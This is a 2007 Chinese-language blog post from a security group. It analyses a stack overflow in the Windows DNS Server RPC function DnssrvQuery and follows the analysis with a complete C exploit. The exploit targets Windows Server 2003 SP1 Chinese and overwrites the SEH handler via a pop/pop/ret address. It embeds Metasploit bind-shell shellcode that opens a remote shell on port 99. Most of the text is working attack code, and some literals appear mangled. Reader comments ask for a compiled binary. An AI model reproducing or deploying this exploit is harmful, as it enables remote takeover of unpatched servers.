DNS RPC 分析

Author: 云舒
Date: 2007-04-27
http://www.ph4nt0m.org

根据安全公告的漏洞描述,漏洞发生在dns.exe程序中的DnssrvQuery函数,这个函数是一个RPC函数,允许客户端进行远程调用。先用IDA对

dns.exe进行静态的反汇编分析,找到如下调用关系:

找到地址010154EC处,看到代码如下:

.text:010154EC cmp cl, 5Ch ; is '\'?
.text:010154EF jnz short loc_1015484 ; Next Char
.text:010154F1 push [ebp+arg_4]
.text:010154F4 push edi
.text:010154F5 push ebx
.text:010154F6 call _extractQuotedChar@12 ; extractQuotedChar(x,x,x)
.text:010154FB mov edi, eax
.text:010154FD mov eax, [ebp+arg_0]
.text:01015500 inc ebx
.text:01015501 jmp short loc_1015484

其实这些对我来说关系不大,看了漏洞描述就成。我需要的是找到这个地址0x010154EC好进行动态调试。加载dns.exe,在 010154EC处下断点,发送这样的字符,可以看见栈内存被覆盖。我在Windows Server 2003 Standard Chinese SP1上进行的调试,开始覆盖的起始内存地址为0x0138F6AF处。因为有stack cookie,所以选择覆盖SEH地址。

看看栈里面,发现最近的SEH地址为0x0138FD10,距离覆盖开始的距离为1633字节。一直加大字节数,最终会覆盖到分页未映射的内存区域,触发异常,接管程序流程。测试之后发现esp+12是在我们的覆盖范围之内,这样就是需要找一个pop/pop/ret的转跳地址。经过分析,在 windows server 2003 Standard sp1中文版上面,需要的地址为0x769C1A61(这个地址不错,这里可以连续pop三次再ret,不过我们只需要两次pop)。由于需要在字符前面加上'\'绕过长度检测,因此,覆盖到SEH的长度为1633 * 2 字节。覆盖到SEH pop/pop/ret之后,程序会跳到SEH的前面,这就又需要往高址转跳6个字节,EB 06就可以了。

最终在内存中的数据示意图如下:

内存低址 内存高址
NOP NOP NOP NOP NOP........EB 06 NOP NOP pop/pop/ret shellcode NOP NOP NOP............

执行顺序为触发异常,接管执行pop/pop/ret,执行到eb 06,再执行到shellcode,收工。

针对上述分析,我写了一个测试性质的攻击程序,不具备危害性,经过测试,这些分析正确,攻击代码见后。(编译这段代码很麻烦的,嘿嘿,先要 midl编译idl文件,然后再编译这段CPP代码)这段代码纯粹是为了演示和分析用,对公司内部的讲座,如果被人修改了进行攻击,偶不管……其实修改这个EXP很容易……—_—!

/*
DNS_RPC

Windows Server 2003 Standard Chinese SP1

开始覆盖 0138F6AF
SEH 0138FD10
未映射内存区域 01390000

1633字节 + 4字节的POP/RET 刚好覆盖到SEH,执行到0138F380

769C1A61 Windows Server 2003 Standard CN SP1

加大字节覆盖到未映射内存区域,引发异常接管。

需要注意的是,要在有效字符之前插入反斜杠,所以长度翻倍。我这里的做法是先忽略反斜杠因素,构造好整个缓冲区,然后再插入反斜杠。个人觉得我的代码还是比较清晰的,起码比MilW0rm上面的简洁明了。

*/

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <Rpc.h>
#include "dnsxpl.h"

#pragma comment( lib, "ws2_32.lib" )
#pragma comment( lib, "Rpcrt4.lib" )

#define OBJ_UUID "50abc2a4-574d-40b3-9d66-ee4fd5fba076"
#define PRO_SEQ "ncacn_ip_tcp"

/* win32_bind - EXITFUNC=seh LPORT=99 Size=344 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char shell[] =
"\x2b\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xfa"
"\xac\x69\x80\x83\xeb\xfc\xe2\xf4\x06\xc6\x82\xcd\x12\x55\x96\x7f"
"\x05\xcc\xe2\xec\xde\x88\xe2\xc5\xc6\x27\x15\x85\x82\xad\x86\x0b"
"\xb5\xb4\xe2\xdf\xda\xad\x82\xc9\x71\x98\xe2\x81\x14\x9d\xa9\x19"
"\x56\x28\xa9\xf4\xfd\x6d\xa3\x8d\xfb\x6e\x82\x74\xc1\xf8\x4d\xa8"
"\x8f\x49\xe2\xdf\xde\xad\x82\xe6\x71\xa0\x22\x0b\xa5\xb0\x68\x6b"
"\xf9\x80\xe2\x09\x96\x88\x75\xe1\x39\x9d\xb2\xe4\x71\xef\x59\x0b"
"\xba\xa0\xe2\xf0\xe6\x01\xe2\xc0\xf2\xf2\x01\x0e\xb4\xa2\x85\xd0"
"\x05\x7a\x0f\xd3\x9c\xc4\x5a\xb2\x92\xdb\x1a\xb2\xa5\xf8\x96\x50"
"\x92\x67\x84\x7c\xc1\xfc\x96\x56\xa5\x25\x8c\xe6\x7b\x41\x61\x82"
"\xaf\xc6\x6b\x7f\x2a\xc4\xb0\x89\x0f\x01\x3e\x7f\x2c\xff\x3a\xd3"
"\xa9\xff\x2a\xd3\xb9\xff\x96\x50\x9c\xc4\x69\xe3\x9c\xff\xe0\x61"
"\x6f\xc4\xcd\x9a\x8a\x6b\x3e\x7f\x2c\xc6\x79\xd1\xaf\x53\xb9\xe8"
"\x5e\x01\x47\x69\xad\x53\xbf\xd3\xaf\x53\xb9\xe8\x1f\xe5\xef\xc9"
"\xad\x53\xbf\xd0\xae\xf8\x3c\x7f\x2a\x3f\x01\x67\x83\x6a\x10\xd7"
"\x05\x7a\x3c\x7f\x2a\xca\x03\xe4\x9c\xc4\x0a\xed\x73\x49\x03\xd0"
"\xa3\x85\xa5\x09\x1d\xc6\x2d\x09\x18\x9d\xa9\x73\x50\x52\x2b\xad"
"\x04\xee\x45\x13\x77\xd6\x51\x2b\x51\x07\x01\xf2\x04\x1f\x7f\x7f"
"\x8f\xe8\x96\x56\xa1\xfb\x3b\xd1\xab\xfd\x03\x81\xab\xfd\x3c\xd1"
"\x05\x7c\x01\x2d\x23\xa9\xa7\xd3\x05\x7a\x03\x7f\x05\x9b\x96\x50"
"\x71\xfb\x95\x03\x3e\xc8\x96\x56\xa8\x53\xb9\xe8\x0a\x26\x6d\xdf"
"\xa9\x53\xbf\x7f\x2a\xac\x69\x80";

void __RPC_FAR * __RPC_USER midl_user_allocate(size_t len){ return(malloc(len)); }
void __RPC_USER midl_user_free(void __RPC_FAR * ptr){ free(ptr); }

void Usage( char *ProgramName );
void Exploit( char *Host, char * RpcPort );

int main( int argc, char *argv[] )
{
WSAData Wsa;

char Host[20] = { 0 }; // 目标主机,网络字节顺序
char RpcPort[8] = { 0 }; // 目标机器RPC高端口

// 初始化网络库
if( WSAStartup(0x0202, &Wsa) != 0 )
{
printf( "[-] WSAStartup failed with error: %d\n" , GetLastError() );
return -1;
}

if( argc != 3 )
{
Usage( argv[0] );
return -1;
}

strncpy( Host, argv[1], sizeof(Host) -1 );
strncpy( RpcPort, argv[2], sizeof(RpcPort) - 1 );

if( atoi(RpcPort) <= 1024 )
{
Usage( argv[0] );
return -1;
}

Exploit( Host, RpcPort );

return 1;
}

// 显示帮助
void Usage( char *ProgramName )
{
printf( "Usage: %s <TargetIP> <RpcPort>\n", ProgramName );
}

void Exploit( char *Host, char *RpcPort )
{
unsigned char *StringBinding = NULL;
unsigned char *Options = NULL;

RPC_STATUS Status = RpcStringBindingComposeA( (unsigned char *)OBJ_UUID,
(unsigned char *)PRO_SEQ,
(unsigned char *)Host,
(unsigned char *)RpcPort,
Options,
&StringBinding );

if( RPC_S_OK != Status )
{
printf( "[-] RpcStringBindingCompose failed, exit!\n" );
exit(-1);
}
printf( "[+] Connect to %s successful!\n", StringBinding );

//RPC_BINDING_HANDLE Dns;

Status = RpcBindingFromStringBindingA( (unsigned char *)StringBinding, &dns );
if( RPC_S_OK != Status )
{
printf( "[-] RpcBindingFromStringBinding failed, exit!\n" );
exit(-1);
}
printf( "[+] RpcBindingFromStringBinding successful!\n" );

wchar_t * ArguA = L"ph4nt0myunshu";

int BuffSize = 4000;

unsigned char * TmpBuff = (unsigned char *)malloc( BuffSize );

// 填充缓冲区
memset( (void *)TmpBuff, '\x90', BuffSize );

// 加入Pop/Pop/Ret转跳地址,覆盖SEH
int PopRet = 1633;
memset( (void *)(TmpBuff + PopRet), '\x60', 1 );
memset( (void *)(TmpBuff + PopRet + 1), '\x1A', 1 );
memset( (void *)(TmpBuff + PopRet + 2), '\x9C', 1 );
memset( (void *)(TmpBuff + PopRet + 3), '\x76', 1 );

// 加入二次转跳命令,往高址跳6字节,跳到seh的高址,执行
memset( (void *)(TmpBuff + PopRet - 4), '\xEB', 1 );
memset( (void *)(TmpBuff + PopRet - 3), '\x06', 1 );

// shellcode字符数组后面会有一个\x00,所以需要sizeof-1
memcpy( (void *)(TmpBuff + PopRet + 4), (void *)shell, sizeof(shell) - 1 );

/*
内存低址 内存高址
NOP NOP NOP NOP NOP NOP NOP eb 06 90 90 pop/pop/ret shellcode NOP NOP NOP
*/

// 插入反斜杠,转换为"\x5c\x90\x5c\x90\x5c\x90.....\x5c\xeb\x5c\x06"格式
unsigned char * ArguB = (unsigned char *)malloc( BuffSize * 2 + 4 );
memset( (void *)ArguB, '\', BuffSize * 2 + 4 );

for( int index = 0; index < BuffSize; index ++ )
{
ArguB[index * 2 + 1] = TmpBuff[index];
}

ArguB[BuffSize * 2 + 4 -1] = '';

unsigned char *ArguC = (unsigned char *)malloc( 10 );
strcpy( (char *)ArguC, "ICYLIFE" );
long *ArguD = (long *)malloc( 20 );
long *ArguE = (long *)malloc( 20 );

// 发送exp数据
printf( "[+] Try to telnet 99 port, good luck!\n" );
RpcTryExcept
{
Status = DnssrvQuery( ArguA, ArguB, ArguC, ArguD, ArguE );
}

RpcExcept(1)
{
Status = RpcExceptionCode( );
//printf( "[-] RPC Server reported exception 0x%lx = %ld\n", Status, Status );
}
RpcEndExcept

free( TmpBuff );
free( ArguB );
free( ArguC );
free( ArguD );
free( ArguE );
}

相关日志

楼被抢了 2 层了... 抢座Rss 2.0或者 Trackback

  • xiaoqiu

    老大有编译好的溢出程序吗?共享下吧

  • 鬼仔

    上面这个代码是需要修改的,看文中作者的说明

发表评论